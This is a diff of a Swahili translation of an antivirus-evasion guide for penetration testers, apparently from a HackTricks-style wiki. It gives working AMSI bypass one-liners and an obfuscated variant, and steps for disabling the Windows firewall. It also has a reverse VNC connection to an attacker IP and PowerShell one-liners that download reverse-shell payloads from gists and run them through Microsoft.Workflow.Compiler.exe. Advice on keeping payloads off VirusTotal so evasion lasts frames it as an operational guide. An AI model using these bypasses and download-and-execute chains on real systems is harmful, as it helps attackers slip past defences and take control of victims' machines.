||||
|
||||
> [!NOTE]
|
||||
> Unapobadilisha payloads zako kwa ajili ya kuzuia, hakikisha **unazima uwasilishaji wa sampuli kiotomatiki** katika defender, na tafadhali, kwa kweli, **USIWEKE KATIKA VIRUSTOTAL** ikiwa lengo lako ni kufikia kuzuia kwa muda mrefu. Ikiwa unataka kuangalia ikiwa payload yako inagundulika na AV fulani, i-install kwenye VM, jaribu kuzima uwasilishaji wa sampuli kiotomatiki, na uijaribu huko hadi uridhike na matokeo.
|
||||
> Unapobadilisha payloads zako kwa ajili ya kuzuia, hakikisha **unazima kuwasilisha sampuli kiotomatiki** katika defender, na tafadhali, kwa dhati, **USIWEKE KATIKA VIRUSTOTAL** ikiwa lengo lako ni kufikia kuzuia kwa muda mrefu. Ikiwa unataka kuangalia kama payload yako inagundulika na AV fulani, i-install kwenye VM, jaribu kuzima kuwasilisha sampuli kiotomatiki, na uijaribu huko hadi uridhike na matokeo.
|
||||
|
||||
## EXEs vs DLLs
|
||||
|
||||
Kila wakati inavyowezekana, daima **kipa kipaumbele kutumia DLLs kwa ajili ya kuzuia**, katika uzoefu wangu, faili za DLL kwa kawaida **huzuiliwa kidogo** na kuchambuliwa, hivyo ni hila rahisi sana kutumia ili kuepuka kugunduliwa katika baadhi ya matukio (ikiwa payload yako ina njia yoyote ya kuendesha kama DLL bila shaka).
|
||||
Kila wakati inapowezekana, daima **kipa kipaumbele kutumia DLLs kwa ajili ya kuzuia**, katika uzoefu wangu, faili za DLL kwa kawaida **huzuiliwa kidogo** na kuchambuliwa, hivyo ni hila rahisi kutumia ili kuepuka kugunduliwa katika baadhi ya matukio (ikiwa payload yako ina njia yoyote ya kuendesha kama DLL bila shaka).
|
||||
|
||||
Kama tunavyoona katika picha hii, Payload ya DLL kutoka Havoc ina kiwango cha kugundulika cha 4/26 katika antiscan.me, wakati payload ya EXE ina kiwango cha kugundulika cha 7/26.
|
||||
|
||||
<figure><img src="../images/image (1130).png" alt=""><figcaption><p>antiscan.me kulinganisha payload ya kawaida ya Havoc EXE dhidi ya payload ya kawaida ya Havoc DLL</p></figcaption></figure>
|
||||
|
||||
Sasa tutakuonyesha hila kadhaa unazoweza kutumia na faili za DLL ili kuwa na usiri zaidi.
|
||||
Sasa tutakuonyesha hila kadhaa unazoweza kutumia na faili za DLL ili kuwa na ufanisi zaidi.
|
||||
|
||||
## DLL Sideloading & Proxying
|
||||
|
||||
@ -108,7 +107,7 @@ Mbili zetu shellcode (iliyopangwa na [SGN](https://github.com/EgeBalci/sgn)) na
|
||||
<figure><img src="../images/image (193).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!NOTE]
|
||||
> Ninapendekeza **sana** uangalie [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) kuhusu DLL Sideloading na pia [ippsec's video](https://www.youtube.com/watch?v=3eROsG_WNpE) ili kujifunza zaidi kuhusu kile tulichozungumzia kwa undani zaidi.
|
||||
> Ninapendekeza **sana** uangalie [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) kuhusu DLL Sideloading na pia [video ya ippsec](https://www.youtube.com/watch?v=3eROsG_WNpE) ili kujifunza zaidi kuhusu kile tulichozungumzia kwa undani zaidi.
|
||||
|
||||
## [**Freeze**](https://github.com/optiv/Freeze)
|
||||
|
||||
@ -124,11 +123,11 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
|
||||
<figure><img src="../images/freeze_demo_hacktricks.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!NOTE]
|
||||
> Kuepuka ni mchezo wa paka na panya, kile kinachofanya kazi leo kinaweza kugunduliwa kesho, hivyo usitegemee zana moja tu, ikiwa inawezekana, jaribu kuunganisha mbinu kadhaa za kuepuka.
|
||||
> Kuepuka ni mchezo wa paka na panya, kile kinachofanya kazi leo kinaweza kugundulika kesho, hivyo usitegemee zana moja tu, ikiwa inawezekana, jaribu kuunganisha mbinu kadhaa za kuepuka.
|
||||
|
||||
## AMSI (Anti-Malware Scan Interface)
|
||||
|
||||
AMSI ilianzishwa ili kuzuia "[fileless malware](https://en.wikipedia.org/wiki/Fileless_malware)". Awali, AVs zilikuwa na uwezo wa kuchanganua **faili kwenye diski**, hivyo ikiwa ungeweza kwa namna fulani kutekeleza payloads **moja kwa moja katika kumbukumbu**, AV haingeweza kufanya chochote kuzuia hilo, kwani haikuwa na mwonekano wa kutosha.
|
||||
AMSI ilianzishwa ili kuzuia "[fileless malware](https://en.wikipedia.org/wiki/Fileless_malware)". Awali, AVs zilikuwa na uwezo wa kuchunguza **faili kwenye diski**, hivyo ikiwa ungeweza kwa namna fulani kutekeleza payloads **moja kwa moja kwenye kumbukumbu**, AV haingeweza kufanya chochote kuzuia hilo, kwani haikuwa na mwonekano wa kutosha.
|
||||
|
||||
Kipengele cha AMSI kimejumuishwa katika sehemu hizi za Windows.
|
||||
|
||||
@ -138,15 +137,15 @@ Kipengele cha AMSI kimejumuishwa katika sehemu hizi za Windows.
|
||||
- JavaScript na VBScript
|
||||
- Office VBA macros
|
||||
|
||||
Inaruhusu suluhisho za antivirus kuchunguza tabia ya script kwa kufichua maudhui ya script katika mfumo ambao haujaandikwa kwa siri na haujawekwa gizani.
|
||||
Inaruhusu suluhisho za antivirus kuchunguza tabia ya script kwa kufichua maudhui ya script katika mfumo ambao haujaandikwa kwa siri na haujawekwa giza.
|
||||
|
||||
Kukimbia `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` kutazalisha onyo lifuatalo kwenye Windows Defender.
|
||||
Kukimbia `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` kutazalisha arifa ifuatayo kwenye Windows Defender.
|
||||
|
||||
<figure><img src="../images/image (1135).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Tazama jinsi inavyopachika `amsi:` na kisha njia ya executable ambayo script ilikimbia, katika kesi hii, powershell.exe
|
||||
|
||||
Hatukuacha faili yoyote kwenye diski, lakini bado tulikamatwa katika kumbukumbu kwa sababu ya AMSI.
|
||||
Hatukuacha faili yoyote kwenye diski, lakini bado tulikamatwa kwenye kumbukumbu kwa sababu ya AMSI.
|
||||
|
||||
Kuna njia kadhaa za kuzunguka AMSI:
|
||||
|
||||
@ -158,15 +157,15 @@ Hata hivyo, AMSI ina uwezo wa kufichua scripts hata ikiwa ina tabaka kadhaa, hiv
|
||||
|
||||
- **AMSI Bypass**
|
||||
|
||||
Kwa kuwa AMSI inatekelezwa kwa kupakia DLL katika mchakato wa powershell (pia cscript.exe, wscript.exe, nk), inawezekana kuingilia kati kwa urahisi hata ukiendesha kama mtumiaji asiye na mamlaka. Kutokana na kasoro hii katika utekelezaji wa AMSI, watafiti wamegundua njia kadhaa za kuepuka uchambuzi wa AMSI.
|
||||
Kwa kuwa AMSI inatekelezwa kwa kupakia DLL kwenye mchakato wa powershell (pia cscript.exe, wscript.exe, nk), inawezekana kuingilia kati kwa urahisi hata ukiendesha kama mtumiaji asiye na mamlaka. Kutokana na kasoro hii katika utekelezaji wa AMSI, watafiti wamegundua njia kadhaa za kuepuka skanning ya AMSI.
|
||||
|
||||
**Kulazimisha Kosa**
|
||||
**Kusababisha Kosa**
|
||||
|
||||
Kulazimisha kuanzishwa kwa AMSI kufeli (amsiInitFailed) kutasababisha kwamba hakuna uchambuzi utaanzishwa kwa mchakato wa sasa. Awali hii ilifunuliwa na [Matt Graeber](https://twitter.com/mattifestation) na Microsoft imeendeleza saini ili kuzuia matumizi makubwa.
|
||||
Kusababisha kuanzishwa kwa AMSI kufeli (amsiInitFailed) kutasababisha kwamba hakuna skanning itakayofanywa kwa mchakato wa sasa. Awali hii ilifunuliwa na [Matt Graeber](https://twitter.com/mattifestation) na Microsoft imeunda saini ili kuzuia matumizi makubwa.
|
||||
```powershell
|
||||
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
|
||||
```
|
||||
Ilichukua tu mstari mmoja wa msimbo wa powershell kufanya AMSI isitumike kwa mchakato wa sasa wa powershell. Mstari huu umewekwa alama na AMSI yenyewe, hivyo mabadiliko fulani yanahitajika ili kutumia mbinu hii.
|
||||
Ilichukua mstari mmoja tu wa msimbo wa powershell kufanya AMSI isitumike kwa mchakato wa sasa wa powershell. Mstari huu umewekwa alama na AMSI yenyewe, hivyo mabadiliko fulani yanahitajika ili kutumia mbinu hii.
|
||||
|
||||
Hapa kuna AMSI bypass iliyobadilishwa niliyopata kutoka kwa hii [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db).
|
||||
```powershell
|
||||
@ -182,51 +181,51 @@ $Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static")
|
||||
$Spotfix.SetValue($null,$true)
|
||||
}Catch{Throw $_}
|
||||
```
|
||||
Kumbuka, kwamba hii itakuwa na uwezekano wa kuangaziwa mara tu chapisho hili litakapochapishwa, hivyo huwezi kuchapisha msimbo ikiwa mpango wako ni kubaki bila kugundulika.
|
||||
Kumbuka, kwamba hii itakuwa na uwezekano wa kuangaziwa mara tu chapisho hili litakapochapishwa, hivyo huwezi kuchapisha msimbo wowote ikiwa mpango wako ni kubaki bila kugundulika.
|
||||
|
||||
**Memory Patching**
|
||||
|
||||
Tekniki hii iligunduliwa awali na [@RastaMouse](https://twitter.com/_RastaMouse/) na inahusisha kutafuta anwani ya kazi "AmsiScanBuffer" katika amsi.dll (inayohusika na kusafisha ingizo lililotolewa na mtumiaji) na kuandika upya na maagizo ya kurudisha msimbo wa E_INVALIDARG, kwa njia hii, matokeo ya kusafisha halisi yatarudisha 0, ambayo inatafsiriwa kama matokeo safi.
|
||||
Teknolojia hii iligunduliwa awali na [@RastaMouse](https://twitter.com/_RastaMouse/) na inahusisha kutafuta anwani ya kazi "AmsiScanBuffer" katika amsi.dll (inayohusika na kusafisha ingizo lililotolewa na mtumiaji) na kuandika tena na maagizo ya kurudisha msimbo wa E_INVALIDARG, kwa njia hii, matokeo ya uchunguzi halisi yatarudisha 0, ambayo inatafsiriwa kama matokeo safi.
|
||||
|
||||
> [!NOTE]
|
||||
> Tafadhali soma [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) kwa maelezo zaidi.
|
||||
|
||||
Kuna pia mbinu nyingi nyingine zinazotumika kupita AMSI kwa kutumia powershell, angalia [**ukurasa huu**](basic-powershell-for-pentesters/#amsi-bypass) na [repo hii](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) kujifunza zaidi kuhusu hizo.
|
||||
|
||||
Au skripti hii ambayo kupitia memory patching itafanya patch kila mpya ya Powersh
|
||||
Au hii skripti ambayo kupitia memory patching itapata kila mpya Powersh
|
||||
|
||||
## Obfuscation
|
||||
|
||||
Kuna zana kadhaa ambazo zinaweza kutumika ku **obfuscate C# clear-text code**, kuunda **metaprogramming templates** za kukusanya binaries au **obfuscate compiled binaries** kama vile:
|
||||
Kuna zana kadhaa ambazo zinaweza kutumika **kujificha msimbo wa wazi wa C#**, kuunda **mifano ya metaprogramming** ili kukusanya binaries au **kujificha binaries zilizokusanywa** kama vile:
|
||||
|
||||
- [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# obfuscator**
|
||||
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Lengo la mradi huu ni kutoa toleo la chanzo wazi la [LLVM](http://www.llvm.org/) suite ya kukusanya inayoweza kutoa usalama wa programu ulioimarishwa kupitia [code obfuscation](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) na kuzuia mabadiliko.
|
||||
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator inaonyesha jinsi ya kutumia lugha ya `C++11/14` kuunda, wakati wa kukusanya, msimbo uliofichwa bila kutumia zana yoyote ya nje na bila kubadilisha mkusanyaji.
|
||||
- [**obfy**](https://github.com/fritzone/obfy): Ongeza safu ya operesheni zilizofichwa zinazozalishwa na mfumo wa metaprogramming wa C++ template ambao utaifanya maisha ya mtu anayetaka kuvunja programu kuwa magumu kidogo.
|
||||
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz ni obfuscator wa x64 binary ambaye anaweza kuficha aina mbalimbali za faili za pe ikiwa ni pamoja na: .exe, .dll, .sys
|
||||
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Lengo la mradi huu ni kutoa toleo la chanzo wazi la [LLVM](http://www.llvm.org/) suite ya kukusanya inayoweza kutoa usalama wa programu ulioimarishwa kupitia [kujificha msimbo](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) na kuzuia mabadiliko.
|
||||
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator inaonyesha jinsi ya kutumia lugha ya `C++11/14` kuunda, wakati wa kukusanya, msimbo uliojificha bila kutumia zana yoyote ya nje na bila kubadilisha mkusanyaji.
|
||||
- [**obfy**](https://github.com/fritzone/obfy): Ongeza safu ya operesheni zilizojificha zinazozalishwa na mfumo wa metaprogramming wa C++ template ambao utaifanya maisha ya mtu anayetaka kuvunja programu kuwa magumu kidogo.
|
||||
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz ni obfuscator wa x64 binary ambaye anaweza kujificha faili mbalimbali tofauti za pe ikiwa ni pamoja na: .exe, .dll, .sys
|
||||
- [**metame**](https://github.com/a0rtega/metame): Metame ni injini rahisi ya metamorphic code kwa ajili ya executable zisizo na mipaka.
|
||||
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator ni mfumo wa kuficha msimbo kwa undani kwa lugha zinazoungwa mkono na LLVM kwa kutumia ROP (return-oriented programming). ROPfuscator inaficha programu katika kiwango cha msimbo wa mkusanyiko kwa kubadilisha maagizo ya kawaida kuwa ROP chains, ikizuia dhana yetu ya kawaida ya mtiririko wa kudhibiti wa kawaida.
|
||||
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator ni mfumo wa kujificha msimbo wa kiwango kidogo kwa lugha zinazoungwa mkono na LLVM kwa kutumia ROP (programming inayotegemea kurudi). ROPfuscator inajificha programu katika kiwango cha msimbo wa mkusanyiko kwa kubadilisha maagizo ya kawaida kuwa mnyororo wa ROP, ikizuia dhana yetu ya kawaida ya mtiririko wa kudhibiti wa kawaida.
|
||||
- [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt ni .NET PE Crypter iliyoandikwa kwa Nim
|
||||
- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor ina uwezo wa kubadilisha EXE/DLL zilizopo kuwa shellcode na kisha kuzipeleka
|
||||
- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor anaweza kubadilisha EXE/DLL zilizopo kuwa shellcode na kisha kuziweka
|
||||
|
||||
## SmartScreen & MoTW
|
||||
|
||||
Huenda umekuwa ukiona skrini hii unaposhusha baadhi ya executable kutoka mtandao na kuzitekeleza.
|
||||
Huenda umeshuhudia skrini hii unaposhusha baadhi ya executable kutoka mtandao na kuzitekeleza.
|
||||
|
||||
Microsoft Defender SmartScreen ni mekanismu ya usalama iliyokusudiwa kulinda mtumiaji wa mwisho dhidi ya kuendesha programu zinazoweza kuwa na madhara.
|
||||
Microsoft Defender SmartScreen ni mekanizma ya usalama iliyokusudiwa kulinda mtumiaji wa mwisho dhidi ya kuendesha programu zinazoweza kuwa na madhara.
|
||||
|
||||
<figure><img src="../images/image (664).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
SmartScreen inafanya kazi hasa kwa njia ya msingi wa sifa, ikimaanisha kwamba programu zisizokuwa za kawaida zinazoshushwa zitaanzisha SmartScreen na hivyo kuonya na kuzuia mtumiaji wa mwisho kutekeleza faili hiyo (ingawa faili hiyo bado inaweza kutekelezwa kwa kubofya More Info -> Run anyway).
|
||||
SmartScreen inafanya kazi hasa kwa njia ya msingi wa sifa, ikimaanisha kwamba programu zisizokuwa za kawaida zinazoshushwa zitaanzisha SmartScreen na hivyo kuonya na kuzuia mtumiaji wa mwisho kutekeleza faili hiyo (ingawa faili hiyo bado inaweza kutekelezwa kwa kubofya Taarifa Zaidi -> Endesha hata hivyo).
|
||||
|
||||
**MoTW** (Mark of The Web) ni [NTFS Alternate Data Stream](<https://en.wikipedia.org/wiki/NTFS#Alternate_data_stream_(ADS)>) yenye jina la Zone.Identifier ambayo huundwa kiotomatiki wakati wa kushusha faili kutoka mtandao, pamoja na URL ambayo ilishushwa kutoka.
|
||||
|
||||
<figure><img src="../images/image (237).png" alt=""><figcaption><p>Kukagua Zone.Identifier ADS kwa faili iliyoshushwa kutoka mtandao.</p></figcaption></figure>
|
||||
|
||||
> [!NOTE]
|
||||
> Ni muhimu kutambua kwamba executable zilizosainiwa kwa cheti cha **kuaminika** **hazitazindua SmartScreen**.
|
||||
> Ni muhimu kutambua kwamba executable zilizosainiwa na cheti cha **kuaminika** **hazitaanzisha SmartScreen**.
|
||||
|
||||
Njia yenye ufanisi sana ya kuzuia payloads zako kupata Mark of The Web ni kwa kuzifunga ndani ya aina fulani ya kontena kama ISO. Hii inatokea kwa sababu Mark-of-the-Web (MOTW) **haiwezi** kutumika kwa **volumes zisizo za NTFS**.
|
||||
Njia yenye ufanisi sana ya kuzuia payloads zako kupata Mark of The Web ni kwa kuzifunga ndani ya aina fulani ya kontena kama ISO. Hii inatokea kwa sababu Mark-of-the-Web (MOTW) **haiwezi** kutumika kwa **volumu zisizo za NTFS**.
|
||||
|
||||
<figure><img src="../images/image (640).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -254,27 +253,27 @@ Adding file: /TotallyLegitApp.exe
|
||||
|
||||
[+] Generated file written to (size: 3420160): container.iso
|
||||
```
|
||||
Here is a demo for bypassing SmartScreen by packaging payloads inside ISO files using [PackMyPayload](https://github.com/mgeeky/PackMyPayload/)
|
||||
Hapa kuna demo ya kupita SmartScreen kwa kufunga payloads ndani ya faili za ISO kwa kutumia [PackMyPayload](https://github.com/mgeeky/PackMyPayload/)
|
||||
|
||||
<figure><img src="../images/packmypayload_demo.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## C# Assembly Reflection
|
||||
|
||||
Kupakia binaries za C# kwenye kumbukumbu kumekuwa kujulikana kwa muda mrefu na bado ni njia nzuri sana ya kuendesha zana zako za post-exploitation bila kukamatwa na AV.
|
||||
Kuweka binaries za C# kwenye kumbukumbu kumekuwa kujulikana kwa muda mrefu na bado ni njia nzuri sana ya kuendesha zana zako za post-exploitation bila kukamatwa na AV.
|
||||
|
||||
Kwa kuwa payload itapakuliwa moja kwa moja kwenye kumbukumbu bila kugusa diski, tutahitaji tu kuwa na wasiwasi kuhusu kurekebisha AMSI kwa mchakato mzima.
|
||||
Kwa kuwa payload itapakiwa moja kwa moja kwenye kumbukumbu bila kugusa diski, tutahitaji tu kuwa na wasiwasi kuhusu kurekebisha AMSI kwa mchakato mzima.
|
||||
|
||||
Mifumo mingi ya C2 (sliver, Covenant, metasploit, CobaltStrike, Havoc, nk.) tayari inatoa uwezo wa kutekeleza makusanyo ya C# moja kwa moja kwenye kumbukumbu, lakini kuna njia tofauti za kufanya hivyo:
|
||||
Mifumo mingi ya C2 (sliver, Covenant, metasploit, CobaltStrike, Havoc, nk.) tayari inatoa uwezo wa kutekeleza assemblies za C# moja kwa moja kwenye kumbukumbu, lakini kuna njia tofauti za kufanya hivyo:
|
||||
|
||||
- **Fork\&Run**
|
||||
|
||||
Inahusisha **kuanzisha mchakato mpya wa dhabihu**, ingiza msimbo wako mbaya wa post-exploitation kwenye mchakato huo mpya, tekeleza msimbo wako mbaya na unapomaliza, uue mchakato mpya. Hii ina faida na hasara zake. Faida ya njia ya fork na run ni kwamba utekelezaji unafanyika **nje** ya mchakato wetu wa Beacon implant. Hii ina maana kwamba ikiwa kitu katika hatua zetu za post-exploitation kitatokea vibaya au kikamatwe, kuna **uwezekano mkubwa** wa **implant yetu kuishi.** Hasara ni kwamba una **uwezekano mkubwa** wa kukamatwa na **Behavioral Detections**.
|
||||
Inahusisha **kuanzisha mchakato mpya wa dhabihu**, ingiza msimbo wako mbaya wa post-exploitation kwenye mchakato huo mpya, tekeleza msimbo wako mbaya na unapokamilisha, uue mchakato mpya. Hii ina faida na hasara zake. Faida ya njia ya fork na run ni kwamba utekelezaji unafanyika **nje** ya mchakato wetu wa Beacon implant. Hii ina maana kwamba ikiwa kitu katika hatua zetu za post-exploitation kitatokea vibaya au kukamatwa, kuna **uwezekano mkubwa zaidi** wa **implant yetu kuishi.** Hasara ni kwamba una **uwezekano mkubwa zaidi** wa kukamatwa na **Behavioral Detections**.
|
||||
|
||||
<figure><img src="../images/image (215).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- **Inline**
|
||||
|
||||
Ni kuhusu kuingiza msimbo wako mbaya wa post-exploitation **katika mchakato wake mwenyewe**. Kwa njia hii, unaweza kuepuka kuunda mchakato mpya na kuupitisha kwa AV, lakini hasara ni kwamba ikiwa kitu kitatokea vibaya na utekelezaji wa payload yako, kuna **uwezekano mkubwa** wa **kupoteza beacon yako** kwani inaweza kuanguka.
|
||||
Ni kuhusu kuingiza msimbo wako mbaya wa post-exploitation **katika mchakato wake mwenyewe**. Kwa njia hii, unaweza kuepuka kuunda mchakato mpya na kuupitisha kwa AV, lakini hasara ni kwamba ikiwa kitu kitatokea vibaya na utekelezaji wa payload yako, kuna **uwezekano mkubwa zaidi** wa **kupoteza beacon yako** kwani inaweza kuanguka.
|
||||
|
||||
<figure><img src="../images/image (1136).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -283,38 +282,42 @@ Ni kuhusu kuingiza msimbo wako mbaya wa post-exploitation **katika mchakato wake
|
||||
|
||||
Unaweza pia kupakia C# Assemblies **kutoka PowerShell**, angalia [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) na [video ya S3cur3th1sSh1t](https://www.youtube.com/watch?v=oe11Q-3Akuk).
|
||||
|
||||
## Using Other Programming Languages
|
||||
## Kutumia Lugha Nyingine za Programu
|
||||
|
||||
Kama ilivyopendekezwa katika [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), inawezekana kutekeleza msimbo mbaya kwa kutumia lugha nyingine kwa kutoa mashine iliyovunjwa ufikiaji **wa mazingira ya tafsiri yaliyojinstalled kwenye SMB share inayodhibitiwa na Mshambuliaji**.
|
||||
Kama ilivyopendekezwa katika [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), inawezekana kutekeleza msimbo mbaya kwa kutumia lugha nyingine kwa kutoa mashine iliyovunjwa **ufikiaji wa mazingira ya tafsiri yaliyojinstalled kwenye SMB share inayodhibitiwa na Mshambuliaji**.
|
||||
|
||||
Kwa kuruhusu ufikiaji wa Interpreter Binaries na mazingira kwenye SMB share unaweza **kutekeleza msimbo wowote katika hizi lugha ndani ya kumbukumbu** ya mashine iliyovunjwa.
|
||||
Kwa kuruhusu ufikiaji wa Binaries za Interpreter na mazingira kwenye SMB share unaweza **kutekeleza msimbo wowote katika hizi lugha ndani ya kumbukumbu** ya mashine iliyovunjwa.
|
||||
|
||||
Repo inaonyesha: Defender bado inachunguza skripti lakini kwa kutumia Go, Java, PHP nk tuna **uwezo zaidi wa kupita saini za statiki**. Kujaribu na skripti za shell za kurudi zisizo na ufichuzi katika hizi lugha kumethibitishwa kuwa na mafanikio.
|
||||
Repo inaonyesha: Defender bado inachunguza scripts lakini kwa kutumia Go, Java, PHP nk tuna **uwezo zaidi wa kupita saini za statiki**. Kujaribu na scripts za shell za kurudi zisizo na ufichuzi katika hizi lugha kumethibitishwa kuwa na mafanikio.
|
||||
|
||||
## Advanced Evasion
|
||||
## Evasion ya Juu
|
||||
|
||||
Evasion ni mada ngumu sana, wakati mwingine unahitaji kuzingatia vyanzo vingi tofauti vya telemetry katika mfumo mmoja, hivyo ni karibu haiwezekani kubaki bila kugundulika kabisa katika mazingira yaliyoendelea.
|
||||
|
||||
Kila mazingira unayokabiliana nayo yatakuwa na nguvu na udhaifu wao wenyewe.
|
||||
|
||||
Ninawashauri sana uende uangalie hotuba hii kutoka [@ATTL4S](https://twitter.com/DaniLJ94), ili kupata ufahamu wa mbinu za Advanced Evasion.
|
||||
Ninawashauri sana uende uangalie hotuba hii kutoka [@ATTL4S](https://twitter.com/DaniLJ94), ili kupata ufahamu wa mbinu za Evasion za Juu zaidi.
|
||||
|
||||
{% embed url="https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo" %}
|
||||
{{#ref}}
|
||||
https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo
|
||||
{{#endref}}
|
||||
|
||||
hii pia ni hotuba nyingine nzuri kutoka [@mariuszbit](https://twitter.com/mariuszbit) kuhusu Evasion in Depth.
|
||||
Hii pia ni hotuba nyingine nzuri kutoka [@mariuszbit](https://twitter.com/mariuszbit) kuhusu Evasion kwa Kina.
|
||||
|
||||
{% embed url="https://www.youtube.com/watch?v=IbA7Ung39o4" %}
|
||||
{{#ref}}
|
||||
https://www.youtube.com/watch?v=IbA7Ung39o4
|
||||
{{#endref}}
|
||||
|
||||
## **Old Techniques**
|
||||
## **Mbinu za Kale**
|
||||
|
||||
### **Check which parts Defender finds as malicious**
|
||||
### **Angalia sehemu zipi Defender inaziona kama mbaya**
|
||||
|
||||
Unaweza kutumia [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) ambayo it **ondoa sehemu za binary** hadi **ipate sehemu ambayo Defender** inapata kama mbaya na kuigawanya kwako.\
|
||||
Zana nyingine inayofanya **kitu sawa ni** [**avred**](https://github.com/dobin/avred) ikiwa na huduma ya wavuti wazi inatoa huduma katika [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
|
||||
Zana nyingine inayofanya **kitu sawa ni** [**avred**](https://github.com/dobin/avred) ikiwa na huduma ya wavuti wazi inayotoa huduma katika [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
|
||||
|
||||
### **Telnet Server**
|
||||
|
||||
Hadi Windows10, Windows zote zilikuja na **Telnet server** ambayo unaweza kusakinisha (kama msimamizi) kwa kufanya:
|
||||
Hadi Windows10, Windows zote zilikuja na **Telnet server** ambayo unaweza kufunga (kama msimamizi) kwa kufanya:
|
||||
```bash
|
||||
pkgmgr /iu:"TelnetServer" /quiet
|
||||
```
|
||||
@ -331,7 +334,7 @@ netsh advfirewall set allprofiles state off
|
||||
|
||||
Pakua kutoka: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (unataka pakua bin, si usanidi)
|
||||
|
||||
**KATIKA HOST**: Tekeleza _**winvnc.exe**_ na uweke server:
|
||||
**KATIKA HOST**: Tekeleza _**winvnc.exe**_ na uweke usanidi wa seva:
|
||||
|
||||
- Wezesha chaguo _Disable TrayIcon_
|
||||
- Weka nenosiri katika _VNC Password_
|
||||
@ -341,7 +344,7 @@ Kisha, hamasisha binary _**winvnc.exe**_ na faili **mpya** iliyoundwa _**UltraVN
|
||||
|
||||
#### **Muunganisho wa kurudi**
|
||||
|
||||
**Mshambuliaji** anapaswa **kutekeleza ndani** ya **host** yake binary `vncviewer.exe -listen 5900` ili iwe **tayari** kukamata muunganisho wa kurudi **VNC**. Kisha, ndani ya **mhasiriwa**: Anza daemon ya winvnc `winvnc.exe -run` na endesha `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
|
||||
**Mshambuliaji** anapaswa **kutekeleza ndani** ya **host** yake binary `vncviewer.exe -listen 5900` ili iwe **tayari** kukamata **muunganisho wa VNC** wa kurudi. Kisha, ndani ya **mhasiriwa**: Anza daemon ya winvnc `winvnc.exe -run` na uendeshe `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
|
||||
|
||||
**ONYO:** Ili kudumisha usiri huwezi kufanya mambo machache
|
||||
|
||||
@ -375,13 +378,13 @@ C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml
|
||||
```
|
||||
**Mlinzi wa sasa atamaliza mchakato haraka sana.**
|
||||
|
||||
### Kuunda shell yetu ya kurudi
|
||||
### Kukusanya shell yetu ya nyuma
|
||||
|
||||
https://medium.com/@Bank\_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
|
||||
|
||||
#### Revershell ya Kwanza ya C#
|
||||
|
||||
Ili kuunda, tumia:
|
||||
Ili kukusanya, tumia:
|
||||
```
|
||||
c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:back2.exe C:\Users\Public\Documents\Back1.cs.txt
|
||||
```
|
||||
@ -474,7 +477,9 @@ powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.g
|
||||
32bit:
|
||||
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell
|
||||
```
|
||||
{% embed url="https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f" %}
|
||||
